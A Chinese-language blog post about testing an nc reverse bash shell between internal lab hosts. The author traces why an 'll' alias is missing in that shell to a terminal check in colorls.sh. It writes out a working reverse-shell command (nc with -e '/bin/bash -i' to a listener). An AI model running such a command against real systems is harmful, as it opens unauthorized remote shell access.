[20230314]nc reverse bash shell alias.txt

lfree發表於2023-03-14

[20230314]nc reverse bash shell alias.txt

--//前幾天測試,nc reverse bash shell時使用alias時遇到的問題,分析看看.

1.環境:
192.168.100.78  linux   (Oracle Linux Server release 5.9)
192.168.98.6    windows
192.168.100.235 linux   (Red Hat Enterprise Linux Server release 7.5 )

--//192.168.100.78 linux
--//192.168.100.235 linux
$ alias ll
alias ll='ls -l --color=auto --time-style=+"%Y-%m-%d %H:%M:%S"'

2.測試:
--//192.168.100.78 linux
$ nc -l 1234

--//192.168.100.235 linux
$ nc 192.168.100.78 1234 -e "/bin/bash -i"

--//--//192.168.100.78 linux,注意沒有提示符.
hostname
LIS-DB

ls
ora_audit_01423.bin
ora_audit_03399.bin
ora_audit_07.bin
sqlnet.log

alias rm
alias rm='/bin/rm -i --preserve-root'

alias ll
--//我很奇怪的是ll的別名不存在,但是rm的別名存在.為什麼?
--//如果檢查bash的執行,先後呼叫~/.bash_profile => ~/.bashrc =>  /etc/bashrc
--//在/etc/bashrc裡面有一段程式碼:

    SHELL=/bin/bash
    # Only display echos from profile.d scripts if we are no login shell
    # and interactive - otherwise just process them to set envvars
    for i in /etc/profile.d/*.sh; do
        if [ -r "$i" ]; then
            if [ "$PS1" ]; then
                . "$i"
            else
                . "$i" >/dev/null
            fi
        fi
    done

--//會依次呼叫/etc/profile.d/目錄裡面的*.sh.而ll的別名就存在檔案colorls.sh中.
alias ll='ls -l --color=auto --time-style=+"%Y-%m-%d %H:%M:%S"' 2>/dev/null
alias l.='ls -d .* --color=auto --time-style=+"%Y-%m-%d %H:%M:%S"' 2>/dev/null
alias ls='ls --color=auto --time-style=+"%Y-%m-%d %H:%M:%S"' 2>/dev/null

--//而我定義在/etc/profile.d/alias.sh目錄的別名都可以正常顯示.執行,為什麼ll不行呢.
alias zdate
alias zdate='date +"%Y/%m/%d %T"'

--//再仔細看colorls.sh程式碼的開始部分存在如下:

# color-ls initialization

# Skip all for noninteractive shells.
[ ! -t 0 ] && return

--//-t 解析如下:
-t FD  file descriptor FD is opened on a terminal

--//也就是後面的語句根本沒有執行.簡單測試:
[ ! -t 0 ] && echo 1234
1234

echo $$
37162

ls -l /proc/37162/fd
total 0
lr-x------. 1 oracle oinstall 64 Mar 14 08:41 0 -> pipe:[2256008820]
l-wx------. 1 oracle oinstall 64 Mar 14 08:41 1 -> pipe:[2256008821]
lrwx------. 1 oracle oinstall 64 Mar 14 08:41 2 -> /dev/pts/2
lrwx------. 1 oracle oinstall 64 Mar 14 08:41 255 -> /dev/pts/2
lrwx------. 1 oracle oinstall 64 Mar 14 08:41 3 -> socket:[2256008819]
lr-x------. 1 oracle oinstall 64 Mar 14 08:41 4 -> pipe:[2256008820]
l-wx------. 1 oracle oinstall 64 Mar 14 08:41 7 -> pipe:[2256008821]

--//只有指向正常的終端裝置才不會指向後面的echo 1234.測試如下:

--//192.168.100.235 linux
# [ ! -t 0 ] && echo 1234
# ls -l  /proc/$$/fd
total 0
lrwx------. 1 root root 64 2023-03-14 00:42:08 0 -> /dev/pts/1
lrwx------. 1 root root 64 2023-03-14 00:42:08 1 -> /dev/pts/1
lrwx------. 1 root root 64 2023-03-14 00:55:50 2 -> /dev/pts/1
lrwx------. 1 root root 64 2023-03-14 00:42:08 255 -> /dev/pts/1

--//當然解決很簡單,參考[20230310]nc reverse bash shell問題.txt=>http://blog.itpub.net/267265/viewspace-2939167/

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/267265/viewspace-2939490/,如需轉載,請註明出處,否則將追究法律責任。

相關文章